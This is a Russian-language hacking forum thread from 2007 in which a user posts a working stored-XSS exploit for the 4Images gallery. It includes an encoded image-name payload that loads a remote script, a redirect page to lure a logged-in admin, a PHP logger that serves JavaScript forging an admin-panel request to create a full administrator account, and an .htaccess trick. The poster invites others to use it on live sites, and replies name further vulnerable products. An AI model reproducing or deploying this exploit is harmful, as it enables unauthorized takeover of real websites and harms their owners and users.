Авторские статьи Повышение привелегий с помощью Xss

Discussion in 'Статьи' started by SQLHACK, 24 Jun 2007.

  1. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    Подготовка.
    Заливаем в галерею картинку.
    в поле Image Name: вставляем
    Code:
    "><IMG SRC="javascript:document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,49,46,106,115,34,62,60,47,115,99,114,105,112,116,62));">
    .

    1. Вариант
    Админу кидаем ссылку на http://virussite.com/

    1. Залогиненый админ заходит на http://virussite.com/
    2. Получает от сервера ответ типа
    Code:
    <html>
    <body>
    <script>location.replace("http://vulnsite.com/4images/search.php?search_new_images=1"></script>)
    </script>
    </body>
    </html>
    
    3. Его переадресует на страницу последних залитых картинок, а там наша XSS.

    2.Вариант :)
    Админ сам тыкает на надпись New Images.

    4. Там подгружается скрипт http://oursite.com/xss.js (реально это сниффер на php который на выходе генерит JS код), который посылает запрос к админке.

    код php скрипта, его называем xss.js

    ЭТО РЕАЛЬНО РАБОТАЮЩИЙ ПРИМЕР ДЛЯ 4Images 1.7.4(вероятно и версии ниже)

    Code:
    <?php
    $date=date("[d/m/Y|H:i]");
    $ip=getenv("Remote_addr");
    $real_ip=getenv("HTTP_X_FORWARDED_FOR");
    $x_refefer=getenv("HTTP_REFERER");
    $x_agent=getenv("HTTP_USER_AGENT");
    $x_args=implode($argv," ");
    
    $fp=fopen("log.txt","a");
    fputs($fp,"Date:*".$date."*\t"."IP:*".$ip."*\t"."REAL IP:*".$real_ip."*\t"."REFERER:*".$x_refefer."*\t"."Agent:*".$x_agent."*\t"."ARGS:*".$x_args."*\n");
    fclose($fp);
    
    echo "
         var request = false;
         try
         {
              request = new XMLHttpRequest();
         }
         catch (trymicrosoft)
         {
              try
              {
                   request = new ActiveXObject(\"Msxml2.XMLHTTP\");
              }
              catch (othermicrosoft)
                   {
                   
                        request = new ActiveXObject(\"Microsoft.XMLHTTP\");
                  
              }
         }
    
         function SendRequest() {
    
              var url = \"/4images/admin/users.php\";
              request.open(\"POST\", url, true);
              request.onreadystatechange = updatePage;
    
    
    		  var bound_x = \"-----------------------------20959323230465\\nContent-Disposition: form-data; name=\\\"\";
    
              var post = bound_x + \"action\"             + \"\\\"\\n\\n\" + \"saveusers\\n\";
    		  post +=    bound_x + \"num\"                + \"\\\"\\n\\n\" + \"1\\n\";
    		  post +=    bound_x + \"user_level_1\"       + \"\\\"\\n\\n\" + \"9\\n\";
              post +=    bound_x + \"user_name_1\"        + \"\\\"\\n\\n\" + \"username\\n\";
              post +=    bound_x + \"user_email_1\"       + \"\\\"\\n\\n\" + \"[email protected]\\n\";
              post +=    bound_x + \"user_password_1\"    + \"\\\"\\n\\n\" + \"password\\n\";
              post +=    bound_x + \"user_homepage_1\"    + \"\\\"\\n\\n\" + \"\\n\";
              post +=    bound_x + \"user_icq_1\"         + \"\\\"\\n\\n\" + \"\\n\";
              post +=    bound_x + \"user_showemail_1\"   + \"\\\"\\n\\n\" + \"0\\n\";
              post +=    bound_x + \"user_allowemails_1\" + \"\\\"\\n\\n\" + \"0\\n\";
              post +=    bound_x + \"user_invisible_1\"   + \"\\\"\\n\\n\" + \"0\\n\";
              post +=    bound_x + \"num_newusers\"       + \"\\\"\\n\\n\" + \"1\\n\";
    		  post +=    bound_x;
    		  
    		  request.setRequestHeader(\"Cookie\", document.cookie);
              request.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=---------------------------20959323230465\");
              request.setRequestHeader(\"Content-Length\", post.length);
              request.send(post);
         }
    
         function updatePage()
         {
              if (request.readyState == 4) 
              {
                   if(request.status == 200)
                   {
                      // А вот сюда можно впендюрить удаление нашей картики, и обновление станицы ещё раз.
                   }
              }
         }
    
         SendRequest();
    ";
    
    ?>
    
    ,и там же бросаем .htaccess c содержимым

    Code:
    AddType application/x-httpd-php .js
    5. Запрос создаёт юзера с админскими правами. Соответственно в отчётах сниффера мы видим то что мы поимели админские права.

    P.S.Сообственно код сыроват, надо поправить , но у меня не особо хватает вермени, ну хоть 1 кто нить помогите, пож-та.

    P.S.S.Если это будет интересно, давайте искать XSS, и писать скрипты повышения привелегий, под разные системы.

    P.S.S.S.Когда инфы наберём побольше , можно сотворить генератор js файла, чтоб автоматизировать процесс.
     
    _________________________
    #1 SQLHACK, 24 Jun 2007
    Last edited: 30 Jun 2007
    9 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    найди сначала админку, где для входа достаточно кукисов.
    в большинстве форумов/цмс нужен пасс для авторизации в админке
     
  3. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    нашел уже 2.
    4images
    Datalife Engine 6.0

    да их жопой хоть жуй.
     
    _________________________
  4. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    в Coppermine Photo Gallery тож по кукисам, даже помниться сплоент писал, использующий XSS
     
  5. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    завтра будет 1 скрипт под 4images
     
    _________________________
    #5 SQLHACK, 24 Jun 2007
    Last edited: 24 Jun 2007
  6. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Если у нас есть Xss, а на вход в админку нужны только куки, почему бы просто не взять админские куки на пользование и все? Зачем выставлять левому пользователю админские права (что, несомненно, палевно)
     
  7. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    ну как тебе сказать когда в системе >100 юзеров, то не такое и палево, зато с сессией не надо заморачиваться
     
    _________________________
    1 person likes this.
  8. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    Найдена XSS в 4images. Статья обновлена. Читаем. Начинаем бомбить :).
     
    _________________________
  9. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Эх...
    "Хакеры" все еще здесь... =/
    Вам не надоело дрочить Xss?
    Полный хелп по КСС еще не делали?
    Таких "статей" можно нахреначить до куевой кучи и все чмем то схожы...! Если неправ можете бить сильно...
     
    3 people like this.
  10. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    не бить надо за такие посты, а просто пиздетЬ.
    Реализация атак через ксс имеет много вариантов. Так что не хрен тут постить хреновину, нельзя на 2 недели уехать начинается.
    И вообще , тут представлена не просто очередная статья на тему, а вариант использования и работающий сплоит под последнюю версию, так что баста!
     
    _________________________